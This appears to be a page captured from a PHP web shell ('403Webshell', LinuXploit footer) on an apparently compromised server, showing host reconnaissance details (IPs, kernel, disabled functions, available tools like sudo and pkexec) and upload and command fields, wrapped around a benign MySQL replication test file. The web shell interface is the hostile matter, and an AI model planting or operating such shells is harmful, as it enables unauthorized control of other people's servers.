403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.70.147.23
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/rpl/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/rpl/t/rpl_skip_error_no_binlog_slave.test
#
# ==== Purpose ====
#
# This test checks if the Exec_Master_Log_Pos and the Read_Master_Log_Pos match
# after a statement with an error ignored by the slave.
#
# ==== Implementation ====
#
# Assert if Exec_Master_Log_Pos is the same as Read_Master_Log_Pos after three
# different scenarios using transactional and non-transactional tables:
#   1) DDL
#   2) DML with autocommit
#   3) DML inside a transaction
#
# ==== References ====
#
# BUG#22268777 BINLOGLESS SLAVE DOES NOT UPDATE EXEC_MASTER_LOG_POS
#              WITH SLAVE_SKIP_ERRORS

--source include/master-slave.inc

CREATE TABLE t1_trans (n INT NOT NULL PRIMARY KEY) ENGINE=INNODB;

CREATE TABLE t1_nontrans (n INT NOT NULL PRIMARY KEY) ENGINE=MYISAM;
--source include/sync_slave_sql_with_master.inc

call mtr.add_suppression("You need to use --log-bin to make --binlog-format work.");

CREATE TABLE t2_trans (a INT) ENGINE=INNODB;
CREATE TABLE t2_nontrans (a INT) ENGINE=MYISAM;
INSERT INTO t1_trans VALUES (1);
INSERT INTO t1_trans VALUES (2);
INSERT INTO t1_nontrans VALUES (1);
INSERT INTO t1_nontrans VALUES (2);

--source include/rpl_connection_master.inc
# error because table already exists in slave
CREATE TABLE t2_trans (a INT);

# the slave will not apply all master's gtids
--let $ignore_gtids_on_sync= 1
--source include/sync_slave_sql_with_master.inc

--let $exec_master_log_pos= query_get_value(SHOW SLAVE STATUS, Exec_Master_Log_Pos, 1)
--let $read_master_log_pos= query_get_value(SHOW SLAVE STATUS, Read_Master_Log_Pos, 1)

--let $assert_text= exec_master_log_pos should be equal to read_master_log_pos after CREATE TABLE
--let $assert_cond= $exec_master_log_pos = $read_master_log_pos
--source include/assert.inc

--source include/rpl_connection_master.inc
# error because table already exists in slave
CREATE TABLE t2_nontrans (a INT);
--source include/sync_slave_sql_with_master.inc

--let $exec_master_log_pos= query_get_value(SHOW SLAVE STATUS, Exec_Master_Log_Pos, 1)
--let $read_master_log_pos= query_get_value(SHOW SLAVE STATUS, Read_Master_Log_Pos, 1)

--let $assert_text= exec_master_log_pos should be equal to read_master_log_pos after CREATE TABLE
--let $assert_cond= $exec_master_log_pos = $read_master_log_pos
--source include/assert.inc

--source include/rpl_connection_master.inc
# error because the value already exists in the table in the slave
INSERT INTO t1_trans VALUES (1);
--source include/sync_slave_sql_with_master.inc

--let $exec_master_log_pos= query_get_value(SHOW SLAVE STATUS, Exec_Master_Log_Pos, 1)
--let $read_master_log_pos= query_get_value(SHOW SLAVE STATUS, Read_Master_Log_Pos, 1)

--let $assert_text= exec_master_log_pos should be equal to read_master_log_pos after INSERT
--let $assert_cond= $exec_master_log_pos = $read_master_log_pos
--source include/assert.inc

--source include/rpl_connection_master.inc
# error because the value already exists in the table in the slave
INSERT INTO t1_nontrans VALUES (1);
--source include/sync_slave_sql_with_master.inc

--let $exec_master_log_pos= query_get_value(SHOW SLAVE STATUS, Exec_Master_Log_Pos, 1)
--let $read_master_log_pos= query_get_value(SHOW SLAVE STATUS, Read_Master_Log_Pos, 1)

--let $assert_text= exec_master_log_pos should be equal to read_master_log_pos after INSERT
--let $assert_cond= $exec_master_log_pos = $read_master_log_pos
--source include/assert.inc

--source include/rpl_connection_master.inc
# error because the value already exists in the table in the slave
BEGIN;
INSERT INTO t1_trans VALUES (2);
COMMIT;
--source include/sync_slave_sql_with_master.inc

--let $exec_master_log_pos= query_get_value(SHOW SLAVE STATUS, Exec_Master_Log_Pos, 1)
--let $read_master_log_pos= query_get_value(SHOW SLAVE STATUS, Read_Master_Log_Pos, 1)

--let $assert_text= exec_master_log_pos should be equal to read_master_log_pos after INSERT inside transaction
--let $assert_cond= $exec_master_log_pos = $read_master_log_pos
--source include/assert.inc

--source include/rpl_connection_master.inc
# error because the value already exists in the table in the slave
BEGIN;
INSERT INTO t1_nontrans VALUES (2);
COMMIT;
--source include/sync_slave_sql_with_master.inc

--let $exec_master_log_pos= query_get_value(SHOW SLAVE STATUS, Exec_Master_Log_Pos, 1)
--let $read_master_log_pos= query_get_value(SHOW SLAVE STATUS, Read_Master_Log_Pos, 1)

--let $assert_text= exec_master_log_pos should be equal to read_master_log_pos after INSERT inside transaction
--let $assert_cond= $exec_master_log_pos = $read_master_log_pos
--source include/assert.inc

# cleanup
--source include/rpl_connection_master.inc
DROP TABLE t1_trans, t2_trans, t1_nontrans, t2_nontrans;
--source include/sync_slave_sql_with_master.inc
--source include/rpl_connection_master.inc
--source include/rpl_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit